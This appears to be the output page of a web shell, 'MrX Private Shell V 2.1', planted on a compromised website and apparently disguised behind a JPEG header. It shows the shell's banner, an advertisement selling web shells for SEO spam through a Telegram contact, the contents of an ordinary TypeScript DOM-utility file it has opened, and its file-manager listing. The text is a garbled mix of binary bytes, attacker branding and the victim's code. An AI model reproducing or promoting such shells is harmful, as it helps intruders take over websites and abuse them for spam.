����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
export const emptyElement = (el: HTMLElement) => {
while (el.firstChild) {
el.removeChild(el.firstChild);
}
};
export const getClosest = (
el: HTMLElement,
selector: string,
depth?: number
): HTMLElement | undefined => {
if (el.matches(selector)) {
return el;
}
if (el.tagName === "BODY" || el.tagName === "HTML") {
return undefined;
}
let closest = undefined;
depth = depth ? depth : 20;
for (let i = 0; i < depth; i++) {
const parentNode = el.parentNode as HTMLElement;
if (
!parentNode ||
parentNode.tagName === "BODY" ||
parentNode.tagName === "HTML"
) {
break;
}
if (parentNode.matches(selector)) {
return parentNode;
}
el = parentNode;
}
return closest;
};
export const startLoading = (button: HTMLButtonElement | HTMLElement) => {
button.classList.add("is-loading");
};
export const stopLoading = (button: HTMLButtonElement | HTMLElement) => {
button.classList.remove("is-loading");
};
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| .htaccess | File | 127 B | 0444 |
|
| Notice.php | File | 3.69 KB | 0644 |
|
| settings.ts | File | 1.72 KB | 0644 |
|
| utils.ts | File | 954 B | 0644 |
|